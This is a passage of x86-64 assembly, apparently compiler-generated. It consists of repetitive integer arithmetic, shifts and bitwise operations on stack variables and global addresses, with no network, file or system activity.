mov rcx, qword [rsp + 0xa718]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x247], al
mov rax, qword [rsp + 0xb080]
movzx eax, word [rax]
mov word [rsp + 0x1910], ax
movsx eax, byte [rsp + 0x230]
movsx ecx, byte [rsp + 0x2a5]
add eax, ecx
mov byte [rsp + 0x2e2], al
lea rax, [rsp + 0x1e5]
mov qword [rsp + 0xb4b8], rax
mov rax, qword [rsp + 0x9968]
mov ecx, dword [rsp + 0x4748]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xaee0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xad78]
mov rcx, qword [rsp + 0x99a0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xac48]
mov qword [rcx], rax
mov eax, dword [0x1401cd720]
mov dword [rsp + 0x5260], eax
mov rax, qword [rsp + 0xa048]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9040]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa708], rax
lea rax, [rsp + 0x18dc]
mov qword [rsp + 0xb4c0], rax
lea rax, [rsp + 0x184c]
mov qword [0x1401cdc50], rax
movzx eax, byte [rsp + 0x215]
mov rcx, qword [rsp + 0xaaa8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x28e], al
movsx eax, byte [rsp + 0x243]
mov rcx, qword [rsp + 0x94e0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x246], al
lea rax, [rsp + 0x155c]
mov qword [rsp + 0xb4c8], rax
mov rax, qword [rsp + 0x90e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x50b4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4f68], eax
mov rax, qword [rsp + 0xa830]
mov qword [rsp + 0xb4d0], rax
mov eax, dword [rsp + 0x513c]
mov ecx, dword [rsp + 0x4f40]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x5164], eax
lea rax, [rsp + 0x8e20]
mov qword [rsp + 0xb4d8], rax
movzx eax, byte [rsp + 0x26a]
movzx ecx, byte [rsp + 0x253]
sar eax, cl
mov byte [rsp + 0x290], al
lea rax, [rsp + 0x1770]
mov qword [0x1401cdc58], rax
mov rax, qword [0x1401cd778]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2b8]
shl eax, cl
mov byte [rsp + 0x2e5], al
movsx eax, word [rsp + 0x1840]
movsx ecx, word [rsp + 0x1514]
and eax, ecx
mov word [rsp + 0x1020], ax
mov rax, qword [rsp + 0xa8f0]
movsx eax, byte [rax]
movsx ecx, byte [0x1401cc06b]
add eax, ecx
mov byte [rsp + 0x23b], al
mov rax, qword [rsp + 0xa858]
mov rax, qword [rax]
mov qword [rsp + 0xb4e0], rax
mov rax, qword [rsp + 0x8d70]
mov rcx, qword [rsp + 0x9288]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9198], rax
mov eax, dword [rsp + 0x5014]
mov ecx, dword [rsp + 0x5094]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x5114], eax
mov rax, qword [rsp + 0xaa50]
mov eax, dword [rax]
mov dword [rsp + 0x5264], eax
mov rax, qword [rsp + 0x90c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1180]
sub eax, ecx
mov word [rsp + 0x1778], ax
movsx eax, byte [0x1401cd7de]
movsx ecx, byte [rsp + 0x28b]
add eax, ecx
mov rcx, qword [0x1401cd878]
mov byte [rcx], al
lea rax, [rsp + 0x170c]
mov qword [rsp + 0xb4e8], rax
movsx eax, byte [rsp + 0x292]
movsx ecx, byte [rsp + 0x25b]
add eax, ecx
mov byte [rsp + 0x237], al
mov rax, qword [0x1401cd7f8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1708]
sub eax, ecx
mov rcx, qword [rsp + 0xaf60]
mov word [rcx], ax
mov eax, dword [rsp + 0x51e0]
mov dword [rsp + 0x5268], eax
mov rax, qword [rsp + 0xa378]
mov rcx, qword [rsp + 0xa740]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x8f20]
mov qword [rcx], rax
lea rax, [0x1401cd720]
mov qword [rsp + 0xb4f0], rax
mov rax, qword [rsp + 0x9150]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xa3a0]
sar rax, cl
mov qword [rsp + 0xae18], rax
lea rax, [rsp + 0x1048]
mov qword [rsp + 0xb4f8], rax
movzx eax, byte [0x1401cc00a]
mov byte [0x1401cd824], al
mov rax, qword [rsp + 0x9448]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1638]
xor eax, ecx
mov word [rsp + 0x176c], ax
movzx eax, byte [rsp + 0x2e3]
mov rcx, qword [rsp + 0xa068]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xa4a0]
mov byte [rcx], al
lea rax, [rsp + 0x253]
mov qword [rsp + 0xb500], rax
movzx eax, byte [rsp + 0x248]
mov rcx, qword [rsp + 0x8d48]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x285], al
lea rax, [rsp + 0x4fe8]
mov qword [rsp + 0xb508], rax
mov eax, dword [0x1401cd720]
mov ecx, dword [rsp + 0x50fc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4c9c], eax
mov rax, qword [rsp + 0xb1b8]
mov rcx, qword [rsp + 0x9198]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9ae0], rax
lea rax, [rsp + 0xa228]
mov qword [rsp + 0xb510], rax
movsx eax, byte [rsp + 0x1e5]
movsx ecx, byte [0x1401cc06f]
add eax, ecx
mov byte [0x1401cc067], al
movsx eax, word [rsp + 0x1890]
mov rcx, qword [rsp + 0xaa38]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x16ec], ax
movzx eax, word [rsp + 0x1700]
mov word [rsp + 0x1914], ax
movsx eax, word [rsp + 0x14e8]
mov rcx, qword [rsp + 0x9380]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1750], ax
mov rax, qword [rsp + 0x9190]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xab28]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x2a9], al
mov rax, qword [rsp + 0xa500]
mov eax, dword [rax]
mov dword [rsp + 0x526c], eax
mov rax, qword [rsp + 0x93b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4c9c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5188], eax
mov rax, qword [rsp + 0xa3a8]
mov rax, qword [rax]
mov qword [rsp + 0xb518], rax
mov rax, qword [rsp + 0xad78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb280]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xadb0], rax
movsx eax, byte [0x1401cd78a]
mov rcx, qword [rsp + 0x98c0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401cc083], al
movzx eax, byte [rsp + 0x2d9]
mov rcx, qword [rsp + 0x9608]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa4d0]
mov byte [rcx], al
mov rax, qword [rsp + 0x93c0]
movzx eax, byte [rax]
mov byte [rsp + 0x2e7], al
mov rax, qword [0x1401cd9f8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x15a8]
xor eax, ecx
mov word [rsp + 0x16dc], ax
mov rax, qword [rsp + 0xb158]
movzx eax, word [rax]
mov word [rsp + 0x1918], ax
mov eax, dword [0x1401cc01c]
mov rcx, qword [rsp + 0x9a70]
mov qword [rsp + 0xb520], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb520]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x50f8], eax
mov rax, qword [rsp + 0xb198]
mov rcx, qword [rsp + 0xa210]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x8438], rax
mov rax, qword [rsp + 0x9a38]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x8a10]
shl rax, cl
mov rcx, qword [rsp + 0x9f78]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa3e0]
mov rcx, qword [rsp + 0xacc8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4c28], eax
mov rax, qword [rsp + 0xb0e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x155c]
add eax, ecx
mov rcx, qword [0x1401cd818]
mov word [rcx], ax
movzx eax, byte [rsp + 0x2c4]
mov byte [rsp + 0x2e8], al
movsx eax, word [rsp + 0x14e8]
movsx ecx, word [rsp + 0x16c4]
sub eax, ecx
mov rcx, qword [rsp + 0x9250]
mov word [rcx], ax
lea rax, [rsp + 0x17c0]
mov qword [rsp + 0xb528], rax
mov rax, qword [rsp + 0x99d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x28f]
add eax, ecx
mov byte [rsp + 0x2d7], al
mov rax, qword [rsp + 0x94e8]
mov rax, qword [rax]
mov rcx, qword [0x1401cc010]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8ed0]
mov qword [rcx], rax
lea rax, [rsp + 0x4fac]
mov qword [rsp + 0xb530], rax
mov rax, qword [rsp + 0xa898]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa6a0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xaf80]
mov qword [rcx], rax
mov rax, qword [rsp + 0xabc0]
mov eax, dword [rax]
mov dword [rsp + 0x5270], eax
mov rax, qword [rsp + 0x9c48]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb0b0]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x1401cc108], ax
movzx eax, word [rsp + 0x10c0]
movzx ecx, word [0x1401cd7d8]
add eax, ecx
mov word [rsp + 0x15e4], ax
movsx eax, byte [rsp + 0x1f7]
movsx ecx, byte [rsp + 0x267]
sub eax, ecx
mov rcx, qword [rsp + 0xa1b0]
mov byte [rcx], al
movzx eax, byte [rsp + 0x233]
mov byte [rsp + 0x2e9], al
mov rax, qword [rsp + 0x97a0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1020]
add eax, ecx
mov rcx, qword [rsp + 0xaa08]
mov word [rcx], ax
mov rax, qword [rsp + 0x9528]
mov eax, dword [rax]
mov dword [rsp + 0x5274], eax
mov rax, qword [rsp + 0xaff0]
mov rcx, qword [rsp + 0xab98]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4f94], eax
lea rax, [rsp + 0x9e68]
mov qword [rsp + 0xb538], rax
mov rax, qword [rsp + 0xa540]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9168]
mov qword [rsp + 0xb540], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb540]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0xb1b8]
mov qword [rcx], rax
lea rax, [rsp + 0x1404]
mov qword [0x1401cdc60], rax
mov rax, qword [rsp + 0xae30]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x214]
shl eax, cl
mov rcx, qword [rsp + 0xa4d0]
mov byte [rcx], al
movzx eax, word [0x1401cdbf8]
mov word [rsp + 0x191c], ax
mov rax, qword [rsp + 0xa1c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x299]
or eax, ecx
mov byte [rsp + 0x2d0], al
movzx eax, byte [rsp + 0x234]
mov byte [rsp + 0x2ea], al
mov eax, dword [rsp + 0x5078]
mov ecx, dword [0x1401cd720]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9f50]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9dd0]
mov rcx, qword [rsp + 0xb2d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xb1f8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9388]
mov qword [rsp + 0xb548], rax
mov rax, qword [rsp + 0x9f00]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4ee0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x50e8], eax
movzx eax, byte [rsp + 0x2c5]
movzx ecx, byte [rsp + 0x262]
add eax, ecx
mov byte [0x1401cc086], al
movzx eax, word [rsp + 0x16d0]
mov word [rsp + 0x1920], ax
mov rax, qword [rsp + 0x9eb0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9230]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9358]
mov byte [rcx], al
mov rax, qword [rsp + 0xaaf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x171c]
sub eax, ecx
mov rcx, qword [rsp + 0xb450]
mov word [rcx], ax
mov rax, qword [rsp + 0x9bd8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb488]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1174], ax
mov rax, qword [rsp + 0x8d10]
mov rcx, qword [rsp + 0xae88]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xa230], rax
mov rax, qword [rsp + 0x9278]
mov eax, dword [rax]
mov dword [rsp + 0x5278], eax
mov rax, qword [rsp + 0xb2d8]
mov rcx, qword [rsp + 0x9078]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9aa0], rax
mov rax, qword [rsp + 0xa1c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x523c]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9a88]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa470]
movsx eax, word [rax]
movsx ecx, word [0x1401cdb38]
or eax, ecx
mov rcx, qword [0x1401cd990]
mov word [rcx], ax
lea rax, [rsp + 0x258]
mov qword [rsp + 0xb550], rax
movzx eax, byte [rsp + 0x2bb]
mov rcx, qword [rsp + 0x9050]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x252], al
lea rax, [rsp + 0x147c]
mov qword [rsp + 0xb558], rax
mov rax, qword [0x1401cd878]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x202]
sar eax, cl
mov rcx, qword [rsp + 0x94e0]
mov byte [rcx], al
mov rax, qword [rsp + 0xb038]
mov rax, qword [rax]
mov qword [rsp + 0xb560], rax
mov rax, qword [rsp + 0x98b0]
mov ecx, dword [rsp + 0x4ff0]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9918]
mov dword [rcx], eax
mov rax, qword [rsp + 0xad10]
mov rax, qword [rax]
mov rcx, qword [0x1401cc028]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xa000], rax
lea rax, [rsp + 0x516c]
mov qword [rsp + 0xb568], rax
mov rax, qword [rsp + 0xa888]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1df]
sub eax, ecx
mov byte [rsp + 0x2aa], al
movzx eax, word [rsp + 0x1848]
mov word [0x1401cdc68], ax
lea rax, [rsp + 0x28e]
mov qword [rsp + 0xb570], rax
movzx eax, word [rsp + 0x15c0]
movzx ecx, word [rsp + 0xf78]
sub eax, ecx
mov word [rsp + 0x1670], ax
mov rax, qword [rsp + 0x96b0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1e1]
add eax, ecx
mov byte [rsp + 0x2a9], al
lea rax, [rsp + 0x9d88]
mov qword [rsp + 0xb578], rax
mov rax, qword [rsp + 0x97f0]
mov ecx, dword [rsp + 0x4ed0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x50d0], eax
mov rax, qword [rsp + 0xa158]
mov eax, dword [rax]
mov dword [rsp + 0x527c], eax
mov rax, qword [rsp + 0x9a58]
mov rcx, qword [rsp + 0x96c0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8dd8], rax
movzx eax, word [rsp + 0x14e4]
mov rcx, qword [rsp + 0x9fc8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xacf0]
mov word [rcx], ax
movsx eax, byte [0x1401cc06a]
movsx ecx, byte [rsp + 0x1de]
add eax, ecx
mov byte [0x1401cc037], al
lea rax, [rsp + 0x1918]
mov qword [rsp + 0xb580], rax
mov rax, qword [rsp + 0x8f40]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1f9]
and eax, ecx
mov byte [rsp + 0x2dc], al
movzx eax, word [rsp + 0x1570]
mov word [rsp + 0x1924], ax
mov rax, qword [rsp + 0xae38]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xacd0]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9450]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9320]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4ea8]
shl eax, cl
mov dword [rsp + 0x4da0], eax
lea rax, [rsp + 0x8f98]
mov qword [rsp + 0xb588], rax
mov eax, dword [rsp + 0x4fc4]
movzx ecx, al
mov eax, dword [rsp + 0x50ac]
shr eax, cl
mov rcx, qword [rsp + 0xaeb0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb4c8]
movzx eax, word [rax]
mov word [rsp + 0x1928], ax
movzx eax, byte [0x1401cd78d]
mov rcx, qword [rsp + 0x92a0]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [0x1401cc087], al
movsx eax, byte [rsp + 0x1fd]
mov rcx, qword [rsp + 0x96b8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x276], al
movzx eax, byte [rsp + 0x2a8]
mov byte [rsp + 0x2eb], al
movzx eax, word [rsp + 0x18e0]
mov rcx, qword [rsp + 0xb008]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x121c], ax
mov rax, qword [rsp + 0xb268]
mov rcx, qword [rsp + 0xa840]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x8438], rax
lea rax, [rsp + 0x81d8]
mov qword [rsp + 0xb590], rax
mov rax, qword [rsp + 0xa9c0]
mov ecx, dword [rsp + 0x521c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x95a8]
mov dword [rcx], eax
lea rax, [rsp + 0x5088]
mov qword [rsp + 0xb598], rax
movsx eax, byte [rsp + 0x16a]
mov rcx, qword [rsp + 0xa038]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb550]
mov byte [rcx], al
mov rax, qword [rsp + 0x9cd8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9950]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401cc048], ax
mov rax, qword [rsp + 0xa828]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8d78]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xb500]
mov byte [rcx], al
movzx eax, word [0x1401cc03c]
mov word [rsp + 0x192c], ax
movsx eax, word [rsp + 0x18d0]
movsx ecx, word [rsp + 0x1168]
sub eax, ecx
mov word [rsp + 0x15f4], ax
movzx eax, byte [rsp + 0x112]
mov byte [rsp + 0x2ec], al
mov rax, qword [0x1401cc020]
mov rcx, qword [rsp + 0x9418]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8fd0], rax
mov rax, qword [rsp + 0x9d08]
mov rcx, qword [rsp + 0x9570]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8e70], rax
mov eax, dword [rsp + 0x4e3c]
mov ecx, dword [rsp + 0x5228]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4c24], eax
mov rax, qword [rsp + 0x9800]
mov eax, dword [rax]
mov ecx, dword [0x1401cd710]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4f18], eax
mov rax, qword [rsp + 0xacc0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1680]
shl eax, cl
mov word [0x1401cc144], ax
lea rax, [rsp + 0x2c8]
mov qword [rsp + 0xb5a0], rax
mov rax, qword [rsp + 0xa908]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9a68]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xa440]
mov word [rcx], ax
lea rax, [rsp + 0x1908]
mov qword [rsp + 0xb5a8], rax
movzx eax, byte [rsp + 0x10f]
mov rcx, qword [0x1401cdbf0]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x9058]
mov byte [rcx], al
mov rax, qword [rsp + 0xa628]
mov rcx, qword [rsp + 0x8540]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x8f10]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9a78]
mov qword [rsp + 0xb5b0], rax
mov rax, qword [rsp + 0x93a8]
mov rcx, qword [rsp + 0x9860]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4f00], eax
lea rax, [rsp + 0x4e98]
mov qword [rsp + 0xb5b8], rax
mov rax, qword [rsp + 0xa018]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x2c8]
add eax, ecx
mov rcx, qword [0x1401cd758]
mov byte [rcx], al
mov rax, qword [rsp + 0xa428]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x2dc]
and eax, ecx
mov rcx, qword [rsp + 0xaa10]
mov byte [rcx], al
mov rax, qword [rsp + 0xab68]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1728]
sub eax, ecx
mov word [rsp + 0x15b4], ax
lea rax, [rsp + 0x1ef]
mov qword [rsp + 0xb5c0], rax
mov rax, qword [0x1401cd9a8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9098]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1788], ax
lea rax, [rsp + 0xad50]
mov qword [rsp + 0xb5c8], rax
mov rax, qword [rsp + 0xb050]
mov rcx, qword [rsp + 0xa5f8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9338], rax
mov rax, qword [rsp + 0xb4b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5144]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x50c0], eax
mov rax, qword [rsp + 0x98f8]
mov eax, dword [rax]
mov dword [rsp + 0x5280], eax
movzx eax, word [rsp + 0x1688]
movzx ecx, word [rsp + 0x1760]
add eax, ecx
mov word [0x1401cc030], ax
movzx eax, byte [0x1401cc01a]
movzx ecx, byte [rsp + 0x1b1]
sar eax, cl
mov byte [rsp + 0x1e1], al
mov rax, qword [rsp + 0xacf0]
movzx eax, word [rax]
mov word [rsp + 0x1930], ax
movsx eax, byte [rsp + 0x254]
mov rcx, qword [rsp + 0xaf98]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x96b8]
mov byte [rcx], al
mov rax, qword [rsp + 0xaeb8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb0f0]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x9488]
mov word [rcx], ax
mov rax, qword [rsp + 0x9d98]
mov eax, dword [rax]
mov dword [rsp + 0x5284], eax
mov rax, qword [0x1401cd728]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb418]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x8e20], rax
mov rax, qword [rsp + 0x9f88]
mov rax, qword [rax]
mov qword [rsp + 0xb5d0], rax
mov rax, qword [rsp + 0xa5e8]
mov rcx, qword [rsp + 0xaec0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4e5c], eax
movsx eax, byte [rsp + 0x298]
mov rcx, qword [0x1401cd920]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401cc08a], al
lea rax, [rsp + 0x178c]
mov qword [rsp + 0xb5d8], rax
movzx eax, byte [rsp + 0x1ee]
mov rcx, qword [rsp + 0x99f0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9088]
mov byte [rcx], al
mov rax, qword [rsp + 0xa5a8]
movsx eax, word [rax]
mov rcx, qword [0x1401cd9f0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x14d8], ax
movzx eax, word [rsp + 0x184c]
mov word [rsp + 0x1934], ax
mov rax, qword [rsp + 0xa9f8]
mov rcx, qword [rsp + 0x96f8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xad60]
mov qword [rcx], rax
mov rax, qword [rsp + 0x94c8]
mov eax, dword [rax]
mov dword [rsp + 0x5288], eax
mov rax, qword [rsp + 0xaed0]
mov rcx, qword [rsp + 0xaff0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4fdc], eax
mov rax, qword [rsp + 0xa020]
mov rcx, qword [rsp + 0xae48]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xaed8], rax
movzx eax, byte [rsp + 0x28a]
movzx ecx, byte [rsp + 0x2b2]
sub eax, ecx
mov byte [0x1401cc032], al
mov rax, qword [rsp + 0x9a80]
movzx eax, word [rax]
mov word [rsp + 0x1938], ax
mov rax, qword [rsp + 0xb238]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1ee]
sub eax, ecx
mov byte [rsp + 0x2ae], al
mov rax, qword [rsp + 0x8fc8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xeec]
sub eax, ecx
mov word [rsp + 0xf3c], ax
movsx eax, byte [rsp + 0x29d]
movsx ecx, byte [rsp + 0x231]
xor eax, ecx
mov rcx, qword [rsp + 0x8ca8]
mov byte [rcx], al
mov rax, qword [rsp + 0x9d08]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa498]
mov qword [rsp + 0xb5e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb5e0]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0xab00]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb258]
mov eax, dword [rax]
mov dword [rsp + 0x528c], eax
mov rax, qword [rsp + 0xaa40]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa400]
mov qword [rsp + 0xb5e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb5e8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x9068], rax
mov eax, dword [rsp + 0x5058]
mov dword [rsp + 0x5290], eax
lea rax, [0x1401cd717]
mov qword [0x1401cdc70], rax
movzx eax, word [rsp + 0x151c]
movzx ecx, word [rsp + 0x1838]
or eax, ecx
mov word [rsp + 0x18e8], ax
movzx eax, word [rsp + 0x181c]
mov word [rsp + 0x193c], ax
mov rax, qword [rsp + 0x9c10]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1618]
and eax, ecx
mov rcx, qword [rsp + 0xa960]
mov word [rcx], ax
mov rax, qword [rsp + 0x9318]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb408]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb438]
mov byte [rcx], al
lea rax, [rsp + 0x9ef0]
mov qword [rsp + 0xb5f0], rax
mov rax, qword [rsp + 0x90e8]
mov rcx, qword [rsp + 0xa1a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xadf0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x51d4]
mov dword [rsp + 0x5294], eax
mov rax, qword [rsp + 0xb040]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa970]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa6d0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x95d8]
movzx eax, byte [rax]
mov byte [0x1401cd825], al
movzx eax, byte [rsp + 0x24f]
movzx ecx, byte [rsp + 0x279]
add eax, ecx
mov byte [rsp + 0x256], al
lea rax, [rsp + 0x1560]
mov qword [rsp + 0xb5f8], rax
movsx eax, byte [rsp + 0x299]
movsx ecx, byte [rsp + 0xaa]
sub eax, ecx
mov rcx, qword [rsp + 0x9138]
mov byte [rcx], al
lea rax, [rsp + 0x172c]
mov qword [rsp + 0xb600], rax
mov rax, qword [rsp + 0x9258]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x98e0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9538], rax
mov rax, qword [rsp + 0xafb0]
mov rcx, qword [rsp + 0xa848]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb4d0], rax
mov eax, dword [rsp + 0x50d4]
mov dword [rsp + 0x5298], eax
mov rax, qword [rsp + 0x9d98]
mov rcx, qword [rsp + 0x98b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa500]
mov dword [rcx], eax
lea rax, [rsp + 0xff8]
mov qword [rsp + 0xb608], rax
mov rax, qword [rsp + 0x96e0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x265]
add eax, ecx
mov rcx, qword [0x1401cd7e0]
mov byte [rcx], al
movzx eax, word [rsp + 0x1820]
mov rcx, qword [rsp + 0xa208]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x184c], ax
mov rax, qword [rsp + 0x8fa8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x73]
or eax, ecx
mov rcx, qword [rsp + 0xb0e0]
mov byte [rcx], al
movzx eax, byte [rsp + 0x293]
mov byte [rsp + 0x2ed], al
mov rax, qword [rsp + 0xa250]
mov rcx, qword [rsp + 0xa5e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xae70]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb088]
mov qword [rsp + 0xb610], rax
